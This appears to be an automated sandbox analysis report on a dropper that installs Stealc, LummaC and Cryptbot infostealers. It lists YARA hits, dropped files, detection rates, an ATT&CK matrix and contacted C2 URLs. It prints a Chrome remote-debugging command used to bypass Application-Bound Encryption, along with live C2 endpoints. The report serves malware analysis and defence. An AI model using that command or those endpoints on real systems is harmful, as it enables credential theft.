0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 92f830ff9f.exe	Binary or memory string: WIN_XPe
Source: 92f830ff9f.exe	Binary or memory string: WIN_VISTA
Source: 92f830ff9f.exe	Binary or memory string: WIN_7
Source: 92f830ff9f.exe	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL

Source: Yara match	File source: 00000028.00000003.3286319983.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3137630171.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3286685610.00000000012DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3260782944.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3226916618.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3149464841.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3178273686.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 01806ad967.exe PID: 5196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7acf96002d.exe PID: 2052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 847b1b04ba.exe PID: 2788, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 92f830ff9f.exe PID: 5204, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000007.00000003.2994386470.0000000001D0D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 01806ad967.exe PID: 5196, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 847b1b04ba.exe PID: 2788, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001E.00000003.2792453107.00000000053E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2893781909.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3256054300.00000000014CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3024103776.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.3148075387.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2889718527.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3028269979.000000000181B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2626514258.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3237758064.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7acf96002d.exe PID: 2052, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00661204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		11_2_00661204
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00661806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		11_2_00661806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	521 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	4 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	NTDS	249 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Valid Accounts	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Access Token Manipulation	2 Bypass User Account Control	Cached Domain Credentials	1071 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	12 Process Injection	1 Extra Window Memory Injection	DCSync	571 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Scheduled Task/Job	11 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	11 Registry Run Keys / Startup Folder	2 Valid Accounts	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	571 Virtualization/Sandbox Evasion	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	12 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.phpU-	100%	Avira URL Cloud	malware
vtekk5pnvtekk5pn.top	0%	Avira URL Cloud	safe
https://smartblock.firefox.etp/facebook.svgFileUtils_closeSafeFileOutputStream	0%	Avira URL Cloud	safe
hesefvtekk5pn.top	0%	Avira URL Cloud	safe
https://property-imper.sbs/#	0%	Avira URL Cloud	safe
https://profiler.firefox.comdevtools-commandkey-performancebrowser.launched_to_handle	0%	Avira URL Cloud	safe
https://property-imper.sbs/F	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpP1	100%	Avira URL Cloud	malware
https://property-imper.sbs/.	0%	Avira URL Cloud	safe
https://property-imper.sbs/3	0%	Avira URL Cloud	safe
vtekk5pnvtekk5pn.topn.top	0%	Avira URL Cloud	safe
ouldfvtekk5pn.top	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
property-imper.sbs	104.21.33.116	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
youtube.com	142.250.181.78	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
www.google.com	142.250.181.68	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
vtekk5pnvtekk5pn.top	true	Avira URL Cloud: safe	unknown
hesefvtekk5pn.top	true	Avira URL Cloud: safe	unknown
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false		high
analforeverlovyu.top	false		high
https://property-imper.sbs/api	false		high
vtekk5pnvtekk5pn.topn.top	true	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
ouldfvtekk5pn.top	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted	firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001C.00000002.2889357487.000002AE9BF94000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001C.00000002.2995916903.000002AEAC8EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3181470422.000002AEB4AE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2820325987.000002AEB4AF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001C.00000002.3185075240.000002AEB4BA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001C.00000002.3000318337.000002AEACA05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2997884636.000002AEAC9DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2823294314.000002AEAC9DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/#	847b1b04ba.exe, 00000009.00000003.2579029860.0000000001452000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 00000009.00000002.2580525413.0000000001452000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3004141176.000002AEACE10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3185075240.000002AEB4B43000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000001C.00000002.2899659472.000002AEA7739000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/0	firefox.exe, 0000001C.00000002.3246948274.00003C6359900000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2758104164.000002AEABF31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture	firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.comdevtools-commandkey-performancebrowser.launched_to_handle	firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://property-imper.sbs:443/api	847b1b04ba.exe, 0000000E.00000003.3065207172.0000000000887000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/2	firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpU-	7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3145198431.000002AEAFB9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/xQ	firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://smartblock.firefox.etp/facebook.svgFileUtils_closeSafeFileOutputStream	firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
